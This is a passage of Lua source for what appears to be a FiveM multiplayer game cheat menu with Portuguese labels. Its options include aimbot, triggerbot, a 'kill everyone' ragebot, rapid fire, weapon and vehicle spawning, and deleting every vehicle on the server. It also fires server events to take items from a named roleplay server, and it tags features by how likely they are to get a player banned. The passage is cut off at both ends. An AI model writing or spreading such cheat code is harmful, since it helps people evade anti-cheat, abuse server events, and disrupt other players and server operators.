SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Super
Green") then
local model ="u_m_y_rsranger_01"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Super
Preto") then
local model ="u_m_y_juggernaut_01"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Mexicano")
then
local model ="u_m_y_mani"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Gordona")
then
local model ="u_f_o_carol"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Astronauta")
then
local model = "s_m_m_movspace_01"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end

elseif StillPassing40.Button("Trocar para ~y~Emo") then


local model = "u_m_y_tattoo_01"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Gogo Boy") then
local model = "u_m_y_staggrm_01"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
end

-- Head Menu
elseif StillPassing40.IsMenuOpened('modifyhead') then
if StillPassing40.ComboBoxSlider("Face", faceItemsList,
currFaceIndex, selFaceIndex, function(currentIndex, selectedIndex)
currFaceIndex = currentIndex
selFaceIndex = currentIndex
SetPedComponentVariation(PlayerPedId(), 0,
faceItemsList[currentIndex]-1, 0, 0)
faceTexturesList =
GetHeadTextures(faceItemsList[currentIndex]-1)
end) then
--[[ -- I dont think any MP faces have
textures?
elseif StillPassing40.ComboBox2("Face Texture",
faceTexturesList, currFtextureIndex, selFtextureIndex, function(currentIndex,
selectedIndex)
currFtextureIndex = currentIndex
selFtextureIndex = currentIndex
SetPedComponentVariation(PlayerPedId(), 0,
faceItemsList[currFaceIndex]-1, faceTexturesList[currentIndex]-1, 0)
end) then
]]
elseif StillPassing40.ComboBoxSlider("Hair", hairItemsList,
currHairIndex, selHairIndex, function(currentIndex, selectedIndex)
previousHairTexture =
GetNumberOfPedTextureVariations(PlayerPedId(), 2,
GetPedDrawableVariation(PlayerPedId(), 2))

previousHairTextureDisplay =
hairTextureList[currHairTextureIndex]

currHairIndex = currentIndex
selHairIndex = currentIndex
SetPedComponentVariation(PlayerPedId(), 2,
hairItemsList[currentIndex]-1, 0, 0)
currentHairTexture =
GetNumberOfPedTextureVariations(PlayerPedId(), 2,
GetPedDrawableVariation(PlayerPedId(), 2))
hairTextureList =
GetHairTextures(GetPedDrawableVariation(PlayerPedId(), 2))

if (currentKey == keys.left or currentKey == keys.right)


and previousHairTexture > currentHairTexture and previousHairTextureDisplay >
currentHairTexture then
currHairTextureIndex =
hairTexturesList[currentHairTexture]
selHairTextureIndex =
hairTexturesList[currentHairTexture]
end

end) then
elseif StillPassing40.ComboBox2("Hair Color", hairTextureList,
currHairTextureIndex, selHairTextureIndex, function(currentIndex, selectedIndex)
currHairTextureIndex = currentIndex
selHairTextureIndex = currentIndex
SetPedComponentVariation(PlayerPedId(), 2,
hairItemsList[currHairIndex]-1, currentIndex-1, 0)
end) then
elseif StillPassing40.ComboBoxSlider("Mask", maskItemsList,
currMaskIndex, selMaskIndex, function(currentIndex, selectedIndex)
currMaskIndex = currentIndex
selMaskIndex = currentIndex
SetPedComponentVariation(PlayerPedId(), 1,
maskItemsList[currentIndex]-1, 0, 0)
end) then
elseif StillPassing40.ComboBoxSlider("Hat", hatItemsList,
currHatIndex, selHatIndex, function(currentIndex, selectedIndex)
previousHatTexture =
GetNumberOfPedPropTextureVariations(PlayerPedId(), 0,
GetPedPropIndex(PlayerPedId(), 0)) -- Gets the number of props before the hat index
and the prop updates (previous)

-- I wanted to grab hatTexturesList[currHatTextureIndex]


before the the Prop was updated. This value is the number (index) that is shown on
the Hat Texture ComboBox before it updates
previousHatTextureDisplay =
hatTexturesList[currHatTextureIndex]

-- Both Hat Slider and Hat Texture ComboBox values update


currHatIndex = currentIndex
selHatIndex = currentIndex
SetPedPropIndex(PlayerPedId(), 0,
hatItemsList[currentIndex]-1, 0, 0)
currentHatTexture =
GetNumberOfPedPropTextureVariations(PlayerPedId(), 0,
GetPedPropIndex(PlayerPedId(), 0)) -- Gets the number of props after the hat index
and the prop updates (current)
hatTexturesList =
GetHatTextures(GetPedPropIndex(PlayerPedId(), 0)) -- Generates our array of indexes

-- This if condition will only run once for every hat


change since the variables previousHatTexture and currentHatTexture will become the
same after the SetPedPropIndex() function runs
if (currentKey == keys.left or currentKey == keys.right)
and previousHatTexture > currentHatTexture and previousHatTextureDisplay >
currentHatTexture then
print('if condition')
-- Checking if the left/right arrow key was pressed
since this function runs every tick, to make sure it really only runs once

-- Sets the current Index of the HatTexturesList to the


max value of the currentHatTexture
currHatTextureIndex =
hatTexturesList[currentHatTexture]
selHatTextureIndex = hatTexturesList[currentHatTexture]
end

end) then
elseif StillPassing40.ComboBox2("Hat Texture",
hatTexturesList, currHatTextureIndex, selHatTextureIndex, function(currentIndex,
selectedIndex)
currHatTextureIndex = currentIndex
selHatTextureIndex = currentIndex
SetPedPropIndex(PlayerPedId(), 0,
GetPedPropIndex(PlayerPedId(), 0), currentIndex, 0)
end) then

end

elseif StillPassing40.IsMenuOpened('WeaponCustomization')
then
if StillPassing40.ComboBox("Weapon Tints", { "Normal", "Green",
"Gold", "Pink", "Army", "LSPD", "Orange", "Platinum" }, currPFuncIndex,
selPFuncIndex, function(currentIndex, selClothingIndex)
currPFuncIndex = currentIndex
selPFuncIndex = currentIndex
end) then
if selPFuncIndex == 1 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0)

elseif selPFuncIndex == 2 then


SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 1)

elseif selPFuncIndex == 3 then


SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 2)

elseif selPFuncIndex == 4 then


SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 3)

elseif selPFuncIndex == 5 then


SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 4)

elseif selPFuncIndex == 6 then


SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 5)

elseif selPFuncIndex == 7 then


SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 6)

elseif selPFuncIndex == 8 then


SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 7)
end
elseif StillPassing40.Button("~s~Add ~s~Special Finish") then
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x27872C90)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD7391086)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x9B76C72C)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x487AAE09)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x85A64DF9)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x377CD377)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD89B9658)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x4EAD7533)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x4032B5E7)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x77B8AB2F)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x7A6A7B7B)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x161E9241)
elseif StillPassing40.Button("~s~Remove ~s~Special Finish") then
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x27872C90)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD7391086)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x9B76C72C)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x487AAE09)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x85A64DF9)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x377CD377)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD89B9658)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x4EAD7533)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x4032B5E7)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x77B8AB2F)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x7A6A7B7B)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x161E9241)
elseif StillPassing40.Button("~s~Add ~s~Suppressor") then
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x65EA7EBB)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x837445AA)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xA73D4664)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xC304849A)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xE608B35E)
elseif StillPassing40.Button("~s~Remove ~s~Suppressor") then
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x65EA7EBB)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x837445AA)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xA73D4664)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xC304849A)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xE608B35E)
elseif StillPassing40.Button("~s~Add ~s~Scope") then
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x9D2FBF29)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xA0D89C42)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xAA2C45B4)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD2443DDC)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x3CC6BA57)
GiveWeaponComponentToPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x3C00AFED)
elseif StillPassing40.Button("~s~Remove ~s~Scope") then
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x9D2FBF29)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xA0D89C42)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xAA2C45B4)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0xD2443DDC)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x3CC6BA57)
RemoveWeaponComponentFromPed(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0x3C00AFED)
end

-- WEAPON OPTIONS MENU


elseif StillPassing40.IsMenuOpened('\119\101\97\112\111\110\10') then
if StillPassing40.MenuButton("Spawn de Armas", '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10') then
selectedPlayer = PlayerId()
elseif StillPassing40.Button("Adicionar Munição ~g~SAFE") then
local bV = {
"WEAPON_UNARMED",
"WEAPON_NAVYREVOLVER",
"WEAPON_CERAMICPISTOL",
"WEAPON_GADGETPISTOL",
"WEAPON_MILITARYRIFLE",
"WEAPON_KNIFE",
"WEAPON_KNUCKLE",
"WEAPON_NIGHTSTICK",
"WEAPON_HAMMER",
"WEAPON_BAT",
"WEAPON_GOLFCLUB",
"WEAPON_CROWBAR",
"WEAPON_BOTTLE",
"WEAPON_DAGGER",
"WEAPON_HATCHET",
"WEAPON_MACHETE",
"WEAPON_FLASHLIGHT",
"WEAPON_SWITCHBLADE",
"WEAPON_PISTOL",
"WEAPON_PISTOL_MK2",
"WEAPON_DOUBLEACTION",
"WEAPON_COMBATPISTOL",
"WEAPON_APPISTOL",
"WEAPON_PISTOL50",
"WEAPON_SNSPISTOL",
"WEAPON_HEAVYPISTOL",
"WEAPON_VINTAGEPISTOL",
"WEAPON_STUNGUN",
"WEAPON_FLAREGUN",
"WEAPON_MARKSMANPISTOL",
"WEAPON_REVOLVER",
"WEAPON_REVOLVER_MK2",
"WEAPON_MICROSMG",
"WEAPON_SMG",
"WEAPON_SMG_MK2",
"WEAPON_ASSAULTSMG",
"WEAPON_MG",
"WEAPON_COMBATMG",
"WEAPON_COMBATMG_MK2",
"WEAPON_COMBATPDW",
"WEAPON_GUSENBERG",
"WEAPON_MACHINEPISTOL",
"WEAPON_ASSAULTRIFLE",
"WEAPON_ASSAULTRIFLE_MK2",
"WEAPON_CARBINERIFLE",
"WEAPON_CARBINERIFLE_MK2",
"WEAPON_ADVANCEDRIFLE",
"WEAPON_SPECIALCARBINE",
"WEAPON_BULLPUPRIFLE",
"WEAPON_COMPACTRIFLE",
"WEAPON_PUMPSHOTGUN",
"WEAPON_SAWNOFFSHOTGUN",
"WEAPON_BULLPUPSHOTGUN",
"WEAPON_ASSAULTSHOTGUN",
"WEAPON_MUSKET",
"WEAPON_HEAVYSHOTGUN",
"WEAPON_DBSHOTGUN",
"WEAPON_SNIPERRIFLE",
"WEAPON_HEAVYSNIPER",
"WEAPON_HEAVYSNIPER_MK2",
"WEAPON_MARKSMANRIFLE",
"WEAPON_GRENADELAUNCHER",
"WEAPON_GRENADELAUNCHER_SMOKE",
"WEAPON_RPG",
"WEAPON_MINIGUN",
"WEAPON_STINGER",
"WEAPON_FIREWORK",
"WEAPON_HOMINGLAUNCHER",
"WEAPON_GRENADE",
"WEAPON_STICKYBOMB",
"WEAPON_PROXMINE",
"WEAPON_BZGAS",
"WEAPON_SMOKEGRENADE",
"WEAPON_MOLOTOV",
"WEAPON_FIREEXTINGUISHER",
"WEAPON_PETROLCAN",
"WEAPON_FLARE",
"WEAPON_RAYPISTOL",
"WEAPON_RAYCARBINE",
"WEAPON_RAYMINIGUN",
"WEAPON_STONE_HATCHET",
"WEAPON_BATTLEAXE",
"GADGET_PARACHUTE"
}
for T = 1, #bV do
AddAmmoToPed(PlayerPedId(), GetHashKey(bV[T]), 250)
end
elseif StillPassing40.Button("Remover Todas as Armas ~g~SAFE") then
StripPlayer(PlayerId())
elseif StillPassing40.CheckBox("Municao Infinita ~g~SAFE", InfAmmo)
then
InfAmmo = not InfAmmo
SetPedInfiniteAmmoClip(PlayerPedId(), InfAmmo)
elseif StillPassing40.CheckBox("~r~Pegar Mochila ~g~NEW Cidade RJ")
then
TriggerServerEvent("departamento-comprar","mochila")
elseif StillPassing40.CheckBox("~r~Pegar Colete ~y~NEW Cidade RJ") then
TriggerServerEvent("contrabando-comprar","colete")
elseif StillPassing40.CheckBox("Aimbot Cabeça ~g~SAFE ~r~NEW", Aimlock)
then
Aimlock = not Aimlock
elseif StillPassing40.CheckBox("Mostrar FOV ~g~SAFE ~r~NEW",
AimlockFOV) then
AimlockFOV = not AimlockFOV
elseif StillPassing40.CheckBox("~r~Pegar Lock Pick ~g~ NEW Cidade RJ")
then
TriggerServerEvent("contrabando-comprar","lockpick")
elseif StillPassing40.CheckBox("Atirar rapido ~y~RISCO", RapidFire)
then
RapidFire = not RapidFire
elseif StillPassing40.CheckBox("Triggerbot ~g~SAFE", Triggerbot)
then
Triggerbot = not Triggerbot
elseif StillPassing40.CheckBox("Ragebot ~g~SAFE ~r~Matar Todos
atirar com a arma", Ragebot) then
Ragebot = not Ragebot
end

-- SPECIFIC WEAPON MENU


elseif StillPassing40.IsMenuOpened('\
119\101\97\112\111\110\115\112\97\119\110\101\114\10') then
if StillPassing40.MenuButton('Armas ~g~PRO ROLEPLAY', 'pistol') then
elseif StillPassing40.MenuButton('Armas ~r~ARMA COM RISCO DE BAN',
'assault') then
end

-- MELEE WEAPON MENU


elseif StillPassing40.IsMenuOpened('melee') then
for i = 1, #meleeweapons do
if StillPassing40.Button("~p~» ~s~"..meleeweapons[i][2].."") then
GiveWeapon(selectedPlayer, meleeweapons[i][1])
end
end
-- PISTOL MENU
elseif StillPassing40.IsMenuOpened('pistol') then
for i = 1, #pistolweapons do
if StillPassing40.Button("~s~"..pistolweapons[i][2].."") then
GiveWeapon(selectedPlayer, pistolweapons[i][1])
end
end
-- SMG MENU
elseif StillPassing40.IsMenuOpened('smg') then
for i = 1, #smgweapons do
if StillPassing40.Button("~p~» ~s~"..smgweapons[i][2].."") then
GiveWeapon(selectedPlayer, smgweapons[i][1])
elseif StillPassing40.Button("Remove ~p~Ammo") then
SetPedAmmo(GetPlayerPed(-1), GetHashKey(smgweapons[i]
[1]), 0)
end
end
-- SHOTGUN MENU
elseif StillPassing40.IsMenuOpened('shotgun') then
for i = 1, #shotgunweapons do
if StillPassing40.Button("~p~» ~s~"..shotgunweapons[i][2].."") then
GiveWeapon(selectedPlayer, shotgunweapons[i][1])
elseif StillPassing40.Button("Remove ~p~Ammo") then
SetPedAmmo(GetPlayerPed(-1),
GetHashKey(shotgunweapons[i][1]), 0)
end
end
-- ASSAULT RIFLE MENU
elseif StillPassing40.IsMenuOpened('assault') then
for i = 1, #assaultweapons do
if StillPassing40.Button("~s~"..assaultweapons[i][2].."") then
GiveWeapon(selectedPlayer, assaultweapons[i][1])
end
end
-- SNIPER MENU
elseif StillPassing40.IsMenuOpened('sniper') then
for i = 1, #sniperweapons do
if StillPassing40.Button("~p~» ~s~"..sniperweapons[i][2].."") then
GiveWeapon(selectedPlayer, sniperweapons[i][1])
elseif StillPassing40.Button("Remove ~p~Ammo") then
SetPedAmmo(GetPlayerPed(-1),
GetHashKey(sniperweapons[i][1]), 0)
end
end
-- THROWN WEAPON MENU
elseif StillPassing40.IsMenuOpened('thrown') then
for i = 1, #thrownweapons do
if StillPassing40.Button("~p~» ~s~"..thrownweapons[i][2].."") then
GiveWeapon(selectedPlayer, thrownweapons[i][1])
elseif StillPassing40.Button("Remove ~p~Ammo") then
SetPedAmmo(GetPlayerPed(-1),
GetHashKey(thrownweapons[i][1]), 0)
end
end
-- HEAVY WEAPON MENU
elseif StillPassing40.IsMenuOpened('heavy') then
for i = 1, #heavyweapons do
if StillPassing40.Button("~p~» ~s~"..heavyweapons[i][2].."") then
GiveWeapon(selectedPlayer, heavyweapons[i][1])
elseif StillPassing40.Button("Remove ~p~Ammo") then
SetPedAmmo(GetPlayerPed(-1),
GetHashKey(heavyweapons[i][1]), 0)
end
end

-- VEHICLE OPTIONS MENU


elseif StillPassing40.IsMenuOpened('\118\101\104\105\99\108\101\10') then
if StillPassing40.Button("Spawnar Veiculo ~g~SAFE") then
local cb = GetKeyboardInput('Coloque o Nome do Veiculo',
'', 100)
local cw = GetKeyboardInput('Coloque o seu RG', '', 100)
if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
RequestModel(cb)
while not HasModelLoaded(cb) do
Citizen.Wait(0)
end
local veh =
CreateVehicle(
GetHashKey(cb),
GetEntityCoords(PlayerPedId(-1)),
GetEntityHeading(PlayerPedId(-1)),
true,
true
)
SetVehicleNumberPlateText(veh, cw)
end
elseif StillPassing40.MenuButton("Cor do Veiculo", 'vehiclemods') then
elseif StillPassing40.Button("Reparar Veiculo ~g~SAFE") then
SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1), false))
SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-1), false),
0.0)
SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1), false),
false)
Citizen.InvokeNative(0x1FD09E7390A74D54,
GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
elseif StillPassing40.Button("Desvirar Veiculo ~g~SAFE") then
local eq = Citizen.InvokeNative(0x6094AD011A2EA87D,
Citizen.InvokeNative(0xD80958FC74E988A6))
Citizen.InvokeNative(0x49733E92263139D1, eq)
elseif StillPassing40.Button("Tunagem Maxima ~g~SAFE") then
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false),
7)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14,
16, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
20, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
21, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
22, true)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23,
1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24,
1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1, true)
SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 1)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1),
false), false)
SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-
1), false), 5)
ToggleVehicleMod(veh, 2, toggle)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, toggle)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, toggle)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14) - 1, toggle)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, toggle)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17) - 1, toggle)
elseif StillPassing40.Button("Alterar Placa ~g~SAFE") then
local plateInput = GetKeyboardInput("Digite a Placa aqui")
RequestControlOnce(GetVehiclePedIsIn(PlayerPedId(), 0))
SetVehicleNumberPlateText(GetVehiclePedIsIn(PlayerPedId(), 0),
plateInput)
elseif StillPassing40.Button("Deletar Veiculo ~g~SAFE") then
function DelVeh(Z)
SetEntityAsMissionEntity(Z, 1, 1)
DeleteEntity(Z)
end
DelVeh(GetVehiclePedIsUsing(PlayerPedId()))

elseif StillPassing40.CheckBox("Deletar todos Veiculos ~y~SAFE",


deletarvehtiki) then
deletarvehtiki = not deletarvehtiki
if deletarvehtiki then
for aaadg in EnumerateVehicles() do
NetworkRequestControlOfEntity(aaadg)
DeleteEntity(aaadg)
end
end

elseif StillPassing40.CheckBox("Deletar todos Veiculos ~g~SAFE",


delvehs) then
delvehs = not delvehs
if delvehs then
local function bY(x, y, z, b7, r, g, b)
SetDrawOrigin(x, y, z, 0)
SetTextFont(0)
SetTextProportional(0)
SetTextScale(0.0, 0.16)
SetTextColour(255, 255, 255, 255)
SetTextOutline()
BeginTextCommandDisplayText("STRING")
SetTextCentre(1)
AddTextComponentSubstringPlayerName(b7)
EndTextCommandDisplayText(0.0, 0.0)
ClearDrawOrigin()
end
local function bZ(x, y, z, b7, r, g, b)
SetDrawOrigin(x, y, z, 0)
SetTextFont(0)
SetTextProportional(0)
SetTextScale(0.0, 0.16)
SetTextColour(O.ThisIsSliders[16].value,
